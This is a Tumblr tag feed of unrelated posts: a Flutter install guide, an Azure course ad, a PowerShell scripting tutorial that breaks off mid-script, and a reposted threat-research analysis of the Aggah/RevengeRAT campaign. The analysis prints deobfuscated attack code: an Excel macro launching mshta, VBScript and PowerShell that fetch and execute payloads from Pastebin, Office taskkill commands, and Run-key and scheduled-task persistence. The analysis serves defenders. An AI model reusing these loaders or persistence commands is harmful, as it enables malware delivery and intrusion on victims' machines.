#Introduction to Windows PowerShell -Replace Operator
Explore tagged Tumblr posts
flutteronetutorials · 2 years ago
Text
Installing Flutter SDK on Windows, macOS, and Linux
Tumblr media
Introduction: Before you can start developing Flutter apps, you need to install the Flutter SDK on your development machine. The Flutter SDK includes the Flutter framework, Dart programming language, and various command-line tools necessary for Flutter development. The installation process may vary slightly depending on your operating system. Here's a more detailed description of the installation process for Flutter SDK on each platform, along with creating your first Flutter application: Windows: - Download the Flutter SDK for Windows by visiting the official Flutter website (URL: https://flutter.dev/docs/get-started/install/windows). - Extract the downloaded ZIP file to a location on your system (e.g., C:flutter). - Add the Flutter SDK's bin directory to the system's PATH variable: - Open the Start menu and search for "Environment Variables." - Select "Edit the system environment variables" to open the System Properties window. - Click on the "Environment Variables" button. - In the "System variables" section, select the "Path" variable and click "Edit." - Add a new entry with the path to the Flutter SDK's bin directory (e.g., C:flutterbin). - Click "OK" to save the changes. - Open a Command Prompt window or PowerShell and run the following command to verify the installation: flutter doctor The output should indicate the status of your Flutter installation and any additional steps you may need to take. Creating your first Flutter application: - Open a Command Prompt window or PowerShell and navigate to the directory where you want to create your Flutter project. - Run the following command to create a new Flutter project: flutter create my_first_app Replace "my_first_app" with your preferred project name. - Once the project is created, navigate into the project directory: cd my_first_app - Connect your Android or iOS device to your computer or start an emulator. - Run the following command to launch the app on your connected device/emulator: flutter run This command will build the app and launch it on the connected device/emulator. - You should now see your first Flutter application running on the device/emulator. macOS: - Download the Flutter SDK for macOS by visiting the official Flutter website (URL: https://flutter.dev/docs/get-started/install/macos). - Open a Terminal window and unzip the downloaded file to your preferred location (e.g., /Users/YourUsername/flutter). - Add the Flutter SDK's bin directory to the system's PATH variable. Run the following command in Terminal: export PATH="$PATH:/Users/YourUsername/flutter/bin" Replace "YourUsername" with your actual username. - Run the following command in Terminal to verify the installation: flutter doctor The output should display the status of your Flutter installation and any additional steps you may need to take. Creating your first Flutter application: - Open Terminal and navigate to the directory where you want to create your Flutter project. - Run the following command to create a new Flutter project: flutter create my_first_app Replace "my_first_app" with your preferred project name. - Once the project is created, navigate into the project directory: cd my_first_app - Connect your Android or iOS device to your computer or start an emulator. - Run the following command to launch the app on your connected device/emulator: flutter run This command will build the app and launch it on the connected device/emulator. - You should now see your first Flutter application running on the device/emulator. Linux: - Download the Flutter SDK for Linux by visiting the official Flutter website (URL: https://flutter.dev/docs/get-started/install/linux). - Open a Terminal window and extract the downloaded archive to your preferred location (e.g., / home/YourUsername/flutter). - Add the Flutter SDK's bin directory to the system's PATH variable. Run the following command in Terminal: export PATH="$PATH:/home/YourUsername/flutter/bin" Replace "YourUsername" with your actual username. - Run the following command in Terminal to verify the installation: flutter doctor The output should display the status of your Flutter installation and any additional steps you may need to take. Creating your first Flutter application: - Open Terminal and navigate to the directory where you want to create your Flutter project. - Run the following command to create a new Flutter project: flutter create my_first_app Replace "my_first_app" with your preferred project name. - Once the project is created, navigate into the project directory: cd my_first_app - Connect your Android or iOS device to your computer or start an emulator. - Run the following command to launch the app on your connected device/emulator: flutter run This command will build the app and launch it on the connected device/emulator. - You should now see your first Flutter application running on the device/emulator. These detailed steps should help you install the Flutter SDK on Windows, macOS, and Linux, as well as create your first Flutter application.   Read the full article
0 notes
dotnet-helpers-blog · 7 years ago
Text
PowerShell - Replacement Operator
PowerShell – Replacement Operator
Replacement Operator PowerShell provides several options to help you replace text in a string with other text. The -replace operator replaces all or part of a value with the specified value using regular expressions. It replaces every occurrence of the exact string you specify with the exact replacement string that you provide. The -replaceoperator provides much more flexibility because its…
View On WordPress
0 notes
rafi1228 · 5 years ago
Link
Prove your Azure Infrastructure and Deployment skills to the world. Includes complete AZ-100 course.
What you’ll learn
Know how to implement solutions for the Microsoft Azure platform
Pass the Microsoft AZ-100 Microsoft Azure Infrastructure and Deployment test the first time
On your way to the Azure Administrator Associate certification
Understand the main concepts of Azure, beyond the ones you normally use
Be up-to-date on the latest updates to this ever-changing platform
Requirements
A free or paid subscription to Microsoft Azure
Excitement to learn Microsoft’s constantly growing cloud platform
Description
COURSE CONTINUALLY UPDATED SINCE LAUNCH – LAST UPDATE JAN 4, 2019
Complete preparation for the new Azure AZ-100 exam – “Microsoft Azure Infrastructure and Deployment”.
Get your questions answered in the course. This course is a great value as it gets continually improved as the exam requirements change. This course will be ready for you when you’re ready to take the exam.
What students are saying:
5 stars, “Great course… Well compiled…” – Vishal
5 stars, “Excellent” – Subhajit R.
5 stars, “So far very good. Very clear and easy to understand.” – Daniel L.
5 stars, “Very good intro on Azure” – Venkatesh S.
V2.2 December 2018 Updates. Added new introduction and section summary videos. Updated instructor introduction and hands-on lab videos. Preparing to make course solely AZ-100 at Dec 31.
>> Microsoft Azure posted 75% growth in the last fiscal quarter, still well above Amazon AWS growth. <<
The opportunity in cloud computing is clear. Most companies are implementing or investigating how to implement cloud technologies within their operations. Don’t be left behind. Be ahead of the curve by getting Azure certified, and be ready for the opportunity to advance your career.
The next time your resume is on someone’s desk—be it a promotion at work or a new job opportunity—you cannot afford to have such an obvious gap in knowledge. Industry trends show that supporting applications that have cloud-hosted components is becoming the in-demand skill of tomorrow. Having Azure skills on your resume will only help you get in front of more hiring managers, and land more jobs.
This course goes through all of the skills needed to take and pass the Microsoft certification exam, AZ-100 exam: Microsoft Azure Infrastructure and Deployment. While other online resources cover bits and pieces of the topic, I can confidently say this course goes deep on everything you need to know for this exam.
This course also goes through the requirements of the previous exam 70-533: Implementing Microsoft Azure Infrastructure Solutions, section by section. You get two courses in one. Free upgrades to this content is one of the benefits of buying from me.
This course teaches all of the requirements for each exam, one by one. Each of the things that Microsoft tests for will be covered in this course.
You get lifetime access to the course, and so there are no silly “30-day” countdowns that require you to pay more to extend access. This course will be here when you need it.
Enroll today!
Version History
V1.0 Course launched. 
V1.1 English Closed Captions added. The entire course now has English subtitles.
V1.2 More PowerShell added. Based on student requests, recorded some more detailed lessons on using PowerShell to manage Azure. More to come.
V1.3 July 2017 Updates. Animated videos. Replaced a couple of the videos with animations done by a professional animator. The aim is to make things easier to learn.
V1.4 Aug 2017 Updates. Added a study plan activity for students to plan out their study for this exam.
V1.5 Sep 2017 Updates. Added 10-page Azure PowerShell Study Guide, free for all students to download. Great for last-minute review before the exam.
V1.6 Nov 2017 Updates. Added Azure Cloud Shell video. Added Azure Container Service (AKS) Intro and Walkthrough videos.
V1.7 Dec 2017 Updates. High level overview of Azure. Updated exam requirements videos. Azure Key Vault. 
V1.8 May 2018 Updates. Added App Service Backups. New videos on new topics just added to the exam: Accelerated Networking.
V1.9 August 2018 Updates. New study plan PDF. Adding Hands-On Labs. Other video updates based on student feedback.
V2.0 October 2018 Updates. Added new AZ-100 content – subscriptions, consumption, resource groups, storage accounts, import/export data, backups, files, VMs. 2.75 new hours added.
V2.1 November 2018 Updates. Added new AZ-100 content – Virtual Machines, Windows VMs, Linux VMs, Manage VMs, Backups, Virtual Network Connections, Virtual Networks, DNS, NSGs, Azure AD, Azure AD Objects, Hybrid Identities. 3.0 hours added.
V2.2 December 2018 Updates. Added new introduction and section summary videos. Updated instructor introduction and hands-on lab videos. Preparing to make course solely AZ-100 at Dec 31.
Microsoft, Windows, and Microsoft Azure are either registered trademarks or trademarks of Microsoft Corporation in the United States and/or other countries. This course is not certified, accredited, affiliated with, nor endorsed by Microsoft Corporation.
Who this course is for:
Senior technical people with exposure to Azure
Those interested in passing the Azure AZ-100 test
Operations team who want to learn more about implementing cloud solutions
Does not cover development or architecture
Created by Scott Duffy, Software Architect Last updated 1/2019 English English [Auto-generated]
Size: 3.73 GB
   Download Now
https://ift.tt/2phElXE.
The post AZ-100 Azure Administrator Infrastructure & Deployment Exam appeared first on Free Course Lab.
0 notes
terabitweb · 6 years ago
Text
Original Post from Security Affairs Author: Pierluigi Paganini
The experts at Yoroi-Cybaze ZLab discovered a new wave of attacks linked to the cyber espionage campaign tracked as Roma225.
Introduction
Few months ago we started observing a cyber operation aiming to attack private companies in various business sectors, from automotive to luxury, education, and media/marketing.  The attack attribution is still unclear but the large scale of the malicious activities has also been confirmed by Unit42, who reported attack attempt against government verticals too. 
The attacks are characterized by the usage of a Remote Access Trojan named “RevengeRat”, suggesting a possible, still unconfirmed and under investigation, connection with the Gorgon Group, a known mercenary APT group who ran cyber-espionage operations and who were involved in criminal activities too. 
Few weeks ago, Unit42 discovered another active campaign, compatible with the Roma225 one we tracked on December 2018, pointing to some interesting changes into the attackers TTPs.  Recently, we intercepted other attacks potentially related with this wider criminal operation. For this reason, Cybaze-Yoroi ZLab team decided to analyze this recent campaign in order to investigate the evolution of the Aggah threat.
Technical Analysis
The whole infection chain shows an interesting degree of sophistication, leveraging about seventeen stages: a non negligible number of steps putted in place to decouple the infection vector from the actual payload. The following info-graphics summarize the infection chain dissected in the sections below, starting from the weaponized Office document, initially delivered through malicious emails, to the final RevengeRAT payload.
The Macro Dropper
Hash 7c0a69f93831dcd550999b765c7922392dd0d994b0241071545749e865cc9854 Threat Dropper Brief Description XLS Macro dropper Ssdeep 768:kCSk3hOdsylKlgxopeiBNhZFGzE+ cL2kdAJ7evT8RsFbQ:kDk3hOdsylKlgxopeiBNhZFGzE+cL2kt
Table 1: Information about the RevengeRAT malicious macro dropper
All the infection starts with a malicious XLS document weaponized with an embedded macro. The VB code is polluted by a multitude of junk instructions and after a cleaning phase we isolated the essence of the malicious code.
Public Function Workbook_Open()
rgh1 = YUcIFcEAA(“tzo{h’o{{wA66ip”, “7”)
rgh2 = YUcIFcEAA(“{5s€6”, “7”)
rgh3 = YUcIFcEAA(“7O^7ixXmxmxm”, “5”)
rgh = rgh1 + rgh2 + rgh3
Shell rgh
End Function
Public Function YUcIFcEAA(Sg1NdPNeR As String, jxvMDn0vV As Integer)
Dim PFc88so50 As Integer
For PFc88so50 = 1 To Len(Sg1NdPNeR)
Mid(Sg1NdPNeR, PFc88so50, 1) = Chr(Asc(Mid(Sg1NdPNeR, PFc88so50, 1)) – jxvMDn0vV)
Next PFc88so50
YUcIFcEAA = Sg1NdPNeR
End Function
Code Snippet 1:  real core of the macro
Figure 2: Command used to start the infection
A quick and dirty manipulation of the script enabled us to easily bypass the code obfuscation techniques protecting the next stage of the infection: the invocation of a Microsoft HTML Application hosted in a remote location.
The macro has the only purpose to run the mshta command. As defined by the Mitre, “Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.” . 
The Hidden HTA
The malware retrieves the HTA application to run from a remote host behind the Bitly shortening service. The target page is the “rg.html”, downloaded from “https[://createdbymewithdeniss[ .blogspot[.com/p/rg[.html”. Even in this case, like in the Roma255 campaign, the attacker abused the Blogger platform to hide the malicious code in plain sight.
Figure 3: Fake Blogspot page
The page does not embed any binaries or malicious links, but navigating its source code, it reveals packed HTML code dynamically injected into the page during the rendering. 
Figure 4: Malicious code contained in the malicious “blogspot” site
This additional piece of script is specifically designed to be executed by the “mshta” utility. It is a VBScript code creating a “WScript.Shell” object, a particular object decisely not designed to be loaded into regular web browsers engines. 
Set Xkasdj2 = CreateObject(StrReverse(StrReverse(“WScript.Shell”)))
Xa_aw1 = StrReverse(StrReverse(“h”)) + StrReverse(StrReverse(StrReverse(StrReverse(“t”)))) + StrReverse(StrReverse(StrReverse(StrReverse(“t”)))) + StrReverse(StrReverse(“p”)) + StrReverse(“:”) + StrReverse(StrReverse(StrReverse(StrReverse(“/”)))) + StrReverse(StrReverse(StrReverse(StrReverse(“/”)))) + StrReverse(StrReverse(StrReverse(StrReverse(“w”)))) + StrReverse(StrReverse(StrReverse(StrReverse(“w”)))) + StrReverse(StrReverse(StrReverse(StrReverse(“w”)))) + StrReverse(StrReverse(“.”)) + StrReverse(StrReverse(“p”)) + StrReverse(StrReverse(“a”)) + StrReverse(StrReverse(“s”)) + StrReverse(StrReverse(StrReverse(StrReverse(“t”)))) + StrReverse(“e”) + StrReverse(“b”) + StrReverse(“i”) + StrReverse(“n”) + StrReverse(StrReverse(“.”)) + StrReverse(“c”) + StrReverse(“o”) + StrReverse(StrReverse(“m”)) + StrReverse(StrReverse(StrReverse(StrReverse(“/”)))) + StrReverse(“r”) + StrReverse(StrReverse(“a”)) + StrReverse(StrReverse(StrReverse(StrReverse(“w”)))) + StrReverse(StrReverse(StrReverse(StrReverse(“/”))))
Xa_aw0 = StrReverse(StrReverse(“m”)) + StrReverse(StrReverse(“s”)) + StrReverse(StrReverse(“h”)) + StrReverse(StrReverse(StrReverse(StrReverse(“t”)))) + StrReverse(” a”)
Xa_aw2 = “efZDG7aL”
XXX = Xa_aw0 + Xa_aw1 + Xa_aw2
Morg = XXX
Xa_aw = Morg
Xkasdj2.Run Xa_aw, vbHide
self.close
Code Snippet 2: Javascript code after “unescape” function
The VBScript code is obfuscated using a series of “StrReverse” functions. But the action it performs is still clearly evident: call another mshta process and execute a new HTA application hosted on Pastebin (hxxp[://pastebin[.com/raw/efZDG7aL).
Figure 5: Malicious code stored on pastebin
This other script is also encoded in hexadecimal format. After its decoding its  content can be divided into four parts. The first one is responsible for killing some of the Microsoft Office suite processes, like Word, Excel, Publisher and PowerPoint.
“cmd.exe /c taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE”
Code Snippet 3: First deobfuscated piece of code
Instead, the second chunk hides the next malware stage invocation within a Powershell script.
powershell.exe $LOLO=@(91,118,111,105,100,93,32,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,93,58,58,76,111,97,100,87,105,116,104,80,97,114,116,105,97,108,78,97,109,101,40,39,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,39,41,59,36,102,106,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,115,58,47,47,112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,67,77,50,50,118,84,117,112,39,41,124,73,69,88,59,91,66,121,116,101,91,93,93,36,102,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,115,58,47,47,112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,81,120,48,75,50,98,97,78,39,41,46,114,101,112,108,97,99,101,40,39,94,39,44,39,48,120,39,41,124,73,69,88,59,91,107,46,72,97,99,107,105,116,117,112,93,58,58,101,120,101,40,39,77,83,66,117,105,108,100,46,101,120,101,39,44,36,102,41);[System.Text.Encoding]::ASCII.GetString($LOLO)|IEX
Code Snippet 4: Second deobfuscated piece of code
This code snippet hides a Powershell executable stage encoded in numeric format. The correspondent ASCII text is then executed through the IEX command-let.
[void] [System.Reflection.Assembly]::LoadWithPartialName(‘Microsoft.VisualBasic’);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),’DownloadString’,[Microsoft.VisualBasic.CallType]::Method,’https://pastebin[.com/raw/CM22vTup’)|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),’DownloadString’,[Microsoft.VisualBasic.CallType]::Method,’https://pastebin[.com/raw/Qx0K2baN’).replace(‘^’,’0x’)|IEX;[k.Hackitup]::exe(‘MSBuild.exe’,$f)
Code Snippet 5: Deobfuscated powershell function
This code builds up the core of the malware implant (discussed in the next section). The third chunk of the code, instead, is where the attacker sets two different persistence mechanisms. Both of them invokes two different HTA application retrieved from Pastebin:
The first persistency method is the classic “Run” registry key.
Set Xm_w = CreateObject(“WScript.Shell”)
L_Xe = “HKCUSoftwareMicrosoftWindowsCurrentVersionRunAvastUpdate”
Xm_w.RegWrite L_Xe,”mshta.exe http://pastebin%5B.com/raw/bMJxXtXa”,”REG_EXPAND_SZ”
Code Snippet 6: Third deobfuscated piece of code (part 1)
The second persistency method abuses scheduled tasks. 
Set Mi_G = CreateObject(StrReverse(StrReverse(“WScript.Shell”)))
Dim We_wW
We_wW0 = StrReverse(“t/ 03 om/ ETUNIM cs/ etaerc/ sksathcs”)
We_wW1 = “n “”Windows Update”” /tr “”mshta.ex”
We_wW2 = “e h” + “t” + “t” + “p” + “:” + “/” + “/” + “p” + “a” + “s” + “t” + “e” + “b” + “i” + “n” + “.” + “c” + “o” + “m” + “/” + “r” + “a” + “w” + “/tuGAsMze”” /F “
We_wW = We_wW0 + We_wW1 + We_wW2
Mi_G.Run We_wW, vbHide
Code Snippet 7:  Third deobfuscated piece of code (part 2)
Both of the scripts are stored onto Pastebin platform and even if  the first one has been removed, the malware maintains its persistence thanks to the execution of the second method.
The last chunk of code, the fourth, contains a huge number of Registry keys ready to be set on the target machine. This behavior has been implemented to drastically reduce the defenses of the target host, for instance disabling security features oft the Microsoft Windows and the Office ecosystem. The “Edited Registry Keys” section reports them.
The Hagga Pastes
As stated in the previous section, the Code Snippet 5 contains the core of malicious actions. The malware concurrently downloads and executes powershell code from two pastes. The first one is “CM22vTup” and have been published by a Pastebin user named “HAGGA”, the same reported in the PaloAlto analysis.
Figure 6: New payload downloaded from Pastebin
As previously hinted the Powershell code in the “CM22vTup” snippet encodes its payload in numeric format. Decoding “PAYLOAD-1“, another obfuscated Powershell script reveals the loading of a shellcode directly in the running process memory. 
$jk=@(PAYLOAD-1);$p=[System.Text.Encoding]::ASCII.GetString($jk)|IEX
Code Snippet 8: Code structure of the downloaded script
[Byte[]]$sc64=iex(‘PAYLOAD_2’.replace(‘%_’,’0x’));$a = [Microsoft.VisualBasic.Interaction]::CallByname([AppDomain]::CurrentDomain,’Load’,[Microsoft.VisualBasic.CallType]::Method,$sc64)
Code Snippet 9: Structure of the script contained in “PAYLOAD_1”
After a basic manipulation, The data hidden in “PAYLOAD_2” results to be the hexadecimal representation of a PE file, easily recognizable due to the characteristic ”4D 5A” header. 
%_4D,%_5A,%_90,%_00,%_03,%_00,%_00,%_00,%_04,%_00,%_00,%_00,%_FF,%_FF,%_00,%_00,%_B8,%_00,%_00,%_00,%_00,%_00, […..]
Code Snippet 10: “PAYLOAD_2” in hex encoding
This PE 32 file is a well formed .Net assembly. In the following table are shown the static information about it. 
Hash 84833991f1705a01a11149c9d037c8379a9c2d463dc30a2fec27bfa52d218fa6 Threat RevengeRAT / Injector  Brief Description RevengeRAT / injector payload Obfuscated Ssdeep 768:zQosoqOovPJmzW0GzJrMfogNeEbSBUrOaqVJswUna4OI 9O:zQyoUzW0GrQ6UiaqVJ1Ua4Vs
Table 2: Information about the RevengeRAT / Injector malicious payload
Figure 7: Static information about payload described in table 2  
However, the .Net payload is not totally unprotected. In  fact it has been obfuscated with the “ConfuserEx” obfuscator.
The assembly is a Dynamic Linked Library with only one purpose: inject the payload into a target process through the well known “Process Hollowing” technique. At this stage of the infection chain the final payload could be retrieved, the RevengeRAT remote administration tool.
Figure 8: Process Hollowing references inside the PE file
The RevengeRAT Payload
Figure 9: RevengeRAT payload in hex encoding
The final payload is the one downloaded from the Pastebin page “Qx0K2baN”, as reported in Code Snippet 5. This code comes with the same obfuscation method seen in PAYLOAD_2, hex encoding together with a simple replacing routine.
Hash 35e9bcc5654b1ebec035a481bc5ad67dc2341c1b534ac904c5bf28e3a5703eff Threat RevengeRAT Brief Description RevengeRAT injector payload Obfuscated Ssdeep 768:3Yo9AzKlOOYIl+tqRsoYGvoJGPdyOYOCbf9eThI21Os+ JZiIPxTS0X4Dwrw2T9:5AmlEIl+tqSoY2oyfYOweT6s+JlPVnz
Table 4: Information about the RevengeRAT malicious payload
Even this executable is a well formed .Net Assembly, but in this case it is obfuscated with another tool, “.Net Reactor”, a commercial code protection tool specialized in .Net applications.
Figure 10: Evidence about .NET Reactor obfuscator
Exploring the code, we found many similarities with the same RevengeRAT threat previously analyzed by us��and by Unit 42. This means, with reasonable confidence, the campaign we are dissecting could be an evolution of the previous campaigns, showing an increase of the malware stealthiness and the adoption of new techniques like process hollowing in the infection chain. Despite that, the RevengeRAT core is substantially the same.
Figure 11: Comparison among RevengeRAT belonging to different campaigns
This time the recurring word is “rg”. In fact the two payloads download from the pastebin platform are “rgrunpe” and “rgbin”; also the new command and control server domains starts with the two letters “rg”, the codename of this last campaign. This time, despite the “roma225” case, the socket key of the rat is configured differently with the static string “lunlayo” and the id is “HOTEIS NOVOS” instead of “POWERScreenPOWER”.
Anyway, as shown in Figure 11, the ID and Mutex of the last two campaigns are the same, indicating the fact that the group is active and the infection campaign continues. Moreover, considering the number of views counted by the Pastebin snippet “CM22vTup”, the one delivering the RevengeRAT payload, is possible to estimate the magnitude of the attack, which may involve up to 1600 victims.
Figure 12: Hagga campaign reference
Conclusion
Since December 2018, we are following the tracks of this ambiguous cyber criminal group, internally referenced as TH-173. There are chances this whole activity could be linked with the Gorgon Group, but at the moment we have no definitive evidence of this connection.
Anyway, through the constant eyes on this threat, we observed a refinement in their infection chain while they are maintaining intact some of their TTP, such as the abuse of the Blogspot platform and legit dynamic DNS services. In fact, the group started abusing Pastebin to add complexity into the infection chain, mixing up hidden MSHTA code, Powershell scripts and also additional process injection techniques to their arsenal.
Technical details, including Indicator of compromise and Yara rules are reported in the  on the Yoroi blog:
https://blog.yoroi.company/research/the-evolution-of-aggah-from-roma225-to-the-rg-campaign/
window._mNHandle = window._mNHandle || {}; window._mNHandle.queue = window._mNHandle.queue || []; medianet_versionId = "3121199";
try { window._mNHandle.queue.push(function () { window._mNDetails.loadTag("762221962", "300x250", "762221962"); }); } catch (error) {}
Pierluigi Paganini
(Security Affairs – Roma225, hacking)
The post The Evolution of Aggah: From Roma225 to the RG Campaign appeared first on Security Affairs.
#gallery-0-6 { margin: auto; } #gallery-0-6 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-6 img { border: 2px solid #cfcfcf; } #gallery-0-6 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Go to Source Author: Pierluigi Paganini The Evolution of Aggah: From Roma225 to the RG Campaign Original Post from Security Affairs Author: Pierluigi Paganini The experts at Yoroi-Cybaze ZLab discovered a new wave of attacks linked to the cyber espionage campaign tracked as Roma225.
0 notes
mbaljeetsingh · 8 years ago
Text
Scripting with PowerShell
Advertise here with BSA
Scripting is always a preferred choice for IT, businesses, server administrators, DBAs and professionals who aim to automate or schedule their routine tasks with flexibility and control. It not only makes you more productive but also improves your daily tasks.
The lack of task automation makes an emerging business lose most of its time and effort on managing its administrative tasks. You may have done tons of things to advertise your business, including creating a blog but when it comes managing your tasks you probably need something that makes your life a lot.
Introduction
Windows PowerShell is one of the powerful command line tools available for scripting. If you are familiar with Unix, DOS or any other command based tools, you would easily get expertise over PowerShell.
Your first script
A simple script in PowerShell can be written in a notepad. it is a sequence of commands called cmdletsthat will be executed one at a time.
Open notepad
Type a string: ‘Printing current date time..’
Type a cmdlet in next line: get-Date
Save file: MyFirstScript.ps1
Right click on the file and click ‘Run with PowerShell’
You can see the current date time printed on PowerShell Console
Whatever you type in double quotes, is displayed on the console and cmdlets gets executed.
Getting PowerShell on your machine
There is no need of additional installation for the tool, it is a part of Windows 7 and above by default. For earlier versions, it can be downloaded from Microsoft Scripting Center.
Just type windows or powershell in search area after pressing windows logo and you will find two PowerShell menus
Windows PowerShell is for plain console while ISE is Integrated Scripting Environment to write, test and execute scripts in the same window.
Building Blocks
Let us quickly get acquainted with the terminology to start coding. Here are the basic terms used –
Cmdlets
Commands written in PowerShell are named cmdlets(pronounced as ‘command lets’)which are the foundation of scripting. You can write a series of cmdlets to achieve your tasks. It is written as a verb-noun pair which is easy to remember and self-explanatory.
If we execute following cmdlet, it lists down all the childs from current location –
PS C:\> Get-Childitem
(Get – verb, Childitem – Noun)
Each cmdlet has an associated help file to know about its syntax – Description and parameters required to invoke it correctly. You can use cmdlet ‘Get-Help’ for same.
Aliases
Let us observe the following commands –
The cmdlet Get-childitem returns the list of files/folders in current directory in this case – C drive.
If you look at other two commands – dir and ls, both return the same result. Does that mean there are duplicate commands to solve the same problem?
No, these both are aliases to ‘Get-childitem’. You can create handy aliases of your important commands and use it. This is the reason why your DOS and Unix commands work seamlessly with PowerShell.
Following command sets alias for Set-Location cmdlet
PS C:\> New-Alias Goto Set-Location
You can find out existing aliases by command type – ‘Alias’ on your machine
PS C:\> Get-Command –Name *
Pipeline
You can use output of one cmdlet in another using pipe character (|). As an example you want to collect some data and then copy the output to a file, you can simply do it with one-line syntax
PS C:\> Get-Childitem | Export-Csv out.csv
Redirection
Two Redirection operators used are > and >>.
These enable you to send particular output types to files and output stream
Code
Message Type
*
All output
1
Success
2
Error
3
Warning
4
Verbose
5
Debug
Following command writes the out to a file instead of console
PS C:\> Get-Childitem * > out.txt
Operators
Like any other scripting language, PowerShell also provides an exhaustive list of operators to write powerful scripts. Some of the basic operators are listed for your reference here:
Operator
Symbol
Definition
Assignment
“=,+=,-=,*=,/=,%=,++,–“
Assigns one or more values to a variable
Comparison
“-eq, -ne”
Equal, Not equal
“-gt,-ge”
Greater than, Greater than or equal to
“-lt,-le”
Less than, Less than or equal to
“-replace”
Changes specified element in a value
“-match, -notmatch”
Regular expression matching
“-like, -notlike”
Matching wildcards
“-contains,-notcontains”
Returns TRUE if the value on its right is contained in the array on its left
“-in, -notin”
Returns TRUE only when given value exactly matches at least one of the reference values.
Logical
“-and, -or, -xor, -not, !”
Connect expressions and statements, allowing you to test for multiple conditions
Bitwise
“-band”
Bitwise AND
“-bor”
Bitwise OR (inclusive)
“-bxor”
Bitwise OR (exlcusive)
“-bnot”
Bitwise NOT
String
“-Split”
splits a string
“-join”
joins multiple strings
Execution Policy
Powershell executes cmdlets as per set execution policy of the machine or server. Sometimes it becomes necessary to explicitly set the policy on the scripts before executing on different machines.
The Set-ExecutionPolicy cmdlet is used for the purpose which has four options to choose from –
Policy
Definition
Restricted
No scripts can be run. PowerShell can be used only in interactive mode
AllSigned
Only scripts signed by a trusted publisher can be run
RemoteSigned
Downloaded scripts must be signed by a trusted publisher before they can be run
Unrestricted
No restrictions – all scripts can be run
Useful Commands
There are more than two hundred in-built cmdlets for use and developers can built complex ones by using the core commands. Some of the useful commands are listed below:
Cmdlet
Syntax
Output
Usage
Get-Date
Get-Date
Sunday, March 26, 2017 6:12:40 PM
Gets current date and time
(Get-Date).AddMinutes
(Get-Date).AddMinutes(60)
Sunday, March 26, 2017 7:12:40 PM
Adds 1 hour to current date and time
Copy-Item
Copy-Item c:\source.txt d:\destination
Copy source.txt to destination folder
Copying files and folders
Clear-Eventlog
Clear-Eventlog -LogName
Clears all enteries from specified event log
Restart-Service
Restart-Service -Servicename
Restarts service
Get-ChildItem
Get-ChildItem
Gets all files and folders
Some parameters make his more useful – force – to run without user confirmation on special folders include – to include certain files or folders exclude – to exclude certain files path – specified path instead of current directory
Set-Content
Set-Content C:\textFile.txt “Text being added here from PowerShell”
Saves text to a file
Remove-Item
Remove-Item C:\test -Recurse
Removes all contents from a folder
User will not be prompted before deletion
(Get-WmiObject -Class Win32_OperatingSystem -ComputerName .).Win32Shutdown(2)
(Get-WmiObject -Class Win32_OperatingSystem -ComputerName .).Win32Shutdown(2)
Restart current computer
Real-world Scenario
Let’s see how PowerShell made the life of a server administrator easy!
John Bell, one of the system administrator of an MNC is catering to some 2000 users and update patches on their desktops remotely through Windows Server 2010 and MS System Center Configuration Manager, SCCM. Now, when one or more patches get scheduled to run during night hours, often they failed on couple of machines due to disk space scarcity and lots of manual intervention and rework is required to close the current job. One of his colleagues suggested to take a proactive approach and get a list of machines with details of what is being stored on C drive, a day before patch execution job, so John decided to create a powershell script to get executed through SCCM on client machines automatically and send give a detailed report in a csv file to review the data usage and bottle necks.
Here is what he wrote (added inline comments for clarity) –
## Initiate source and destination $filePath="C:\" $outFile="D:\output.csv" ## Get last logged in username $strName=$env:username get-Date-formatr ## Get computer name $compName=$env:computername ## get total size and free space of c drive of selected computer $disk=Get-WmiObjectWin32_LogicalDisk-ComputerName$compName-Filter"DeviceID='C:'"| Select-ObjectSize,FreeSpace $TotalSpace= ($disk.Size/1gb) $FreeSpace= ($disk.FreeSpace/1gb) ## initiating two arrays for getting a list $arr= @() $finalObj= @() $object=$null ## Include Hidden Files $arr=Get-ChildItem$filePath-Force|where {$_.PSIsContainer -eq$False} |Select-ObjectName,FullName,CreationTimeUtc,LastWriteTimeUtc,length "Gathering information of files completed. Folder scan started..." ## Include Hidden Folder $arr=Get-ChildItem$filePath-Force|where {$_.PSIsContainer -eq$True} |Select-ObjectName,FullName,CreationTimeUtc,LastWriteTimeUtc #Loop for folders foreach($itemin$arr) { $FType="Folder" $FSize=0 $PerHDD=0 $item.FullName ## Include Hidden Files $FSize= (Get-ChildItem$item.FullName -Force-recurse-ErrorActionSilentlyContinue|Measure-Object-propertylength-sum).Sum $FSize=[math]::round($FSize/1gb,2) $PerHDD=[math]::Round($FSize/$TotalSpace*100,2) switch ($item.name ) { $PLogs {break} ;$MSOCache {break} ; 